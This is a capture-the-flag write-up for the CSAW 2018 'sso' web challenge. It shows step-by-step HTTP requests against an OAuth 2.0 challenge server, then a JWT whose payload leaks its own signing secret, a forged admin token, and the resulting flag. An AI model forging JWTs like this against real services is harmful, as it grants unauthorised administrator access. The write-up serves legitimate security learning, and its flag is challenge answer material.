Tags: jwt web oauth2.0
Rating:
# ▼▼▼sso(Web:100、210/1448=14.5%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```
Don't you love undocumented APIs
Be the admin you were always meant to be
Update chal description at: 4:38 to include solve details
```
---
```
GET / HTTP/1.1
Host: web.chal.csaw.io:9000
```
↓
```
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
.
```
↓
・I guess that `/protected` is a resource (flag)
・Since there is no other function, it seems to be enough to infer the parameter according to OAuth 2.0(RFC6749) and create a request
**※RFC6749(English) ⇒ https://tools.ietf.org/html/rfc6749**
**※RFC6749(Japanese) ⇒ http://openid-foundation-japan.github.io/rfc6749.ja.html**
---
## 【Identification of grant type】
```
POST /oauth2/authorize HTTP/1.1
Host: web.chal.csaw.io:9000
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
response_type=code'
```
↓
```
response_type not code
```
↓
I found it to be an `authorization code grant` !!!
---
## 【Create an `authorization request` and Send it】
Since I do not know `client_id`, I try to send it without giving it
**※RFC6749(English) ⇒ https://tools.ietf.org/html/rfc6749#section-4.1.1**
**※RFC6749(Japanese) ⇒ https://openid-foundation-japan.github.io/rfc6749.ja.html#code-authz-req**
↓
```
POST /oauth2/authorize HTTP/1.1
Host: web.chal.csaw.io:9000
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
grant_type=authorization_code&response_type=code&redirect_uri=http://example.com/
```
↓
```
HTTP/1.1 302 Found
Location: http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI&state=
Content-Type: text/html; charset=utf-8
Content-Length: 457
Date: Sat, 15 Sep 2018 13:01:58 GMT
Connection: keep-alive
↓
get a code=`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI`
---
## 【Create an `access token request` and Send it】
**※RFC6749(English) ⇒ https://tools.ietf.org/html/rfc6749#section-4.1.3**
**※RFC6749(Japanese) ⇒ https://openid-foundation-japan.github.io/rfc6749.ja.html#token-req**
↓
```
POST /oauth2/token HTTP/1.1
Host: web.chal.csaw.io:9000
Content-Type: application/x-www-form-urlencoded
Content-Length: 252
grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI&state=&redirect_uri=http://example.com/
```
↓
```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 209
Date: Sat, 15 Sep 2018 13:03:38 GMT
Connection: keep-alive
{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU"}
```
↓
get Bearer token= `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU`
---
## 【Create an `request for getting resource ` and Send it】
The method of giving the `Bearer token` to the request is described in RFC 6750
**※RFC6750(English) ⇒ https://tools.ietf.org/html/rfc6750#section-2.1**
**※RFC6750(Japanese) ⇒ http://openid-foundation-japan.github.io/rfc6750.ja.html#authz-header**
↓
```
GET /protected HTTP/1.1
Host: web.chal.csaw.io:9000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU
Content-Length: 0
```
↓
```
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
Content-Length: 12
Date: Sat, 15 Sep 2018 14:13:07 GMT
Connection: keep-alive
Unauthorized
```
---
## 【Tampering with JWT】
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU
↓decode by base64
`{"alg":"HS256","typ":"JWT"}.{"type":"user","secret":"ufoundme!","iat":1537016618,"exp":1537017218}`
---
`Be the admin you were always meant to be` in Questionnaire!!
↓
"type":"user" ⇒ "type":" `admin`"
---
### 【Try and error】
#### Try:1
"alg":" `none`" was impossible
---
#### Try:2
Even if the **secret key** was specified by **brute force** and tampered with, the request did not go through...
Also, each time the secret key was different.
---
#### Try:3
Finally, the `secret` parameter was the **secret key**
---
### 【exploit】
```
{"alg": "HS256","typ":"JWT"}
{"type":"admin", "secret": "ufoundme!","iat":1537060581,"exp": 1537061181}
secret=ufoundme!
```
![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_sso1.png)
↓
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcwNjA1ODEsImV4cCI6MTUzNzA2MTE4MX0.Mtr677q72X5lSmSSVGt4RnWtIr7MCAKgc4b-SjqFqhA
```
↓
```
GET /protected HTTP/1.1
Host: web.chal.csaw.io:9000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcwNjA1ODEsImV4cCI6MTUzNzA2MTE4MX0.Mtr677q72X5lSmSSVGt4RnWtIr7MCAKgc4b-SjqFqhA
Content-Length: 0
```
↓
`flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}`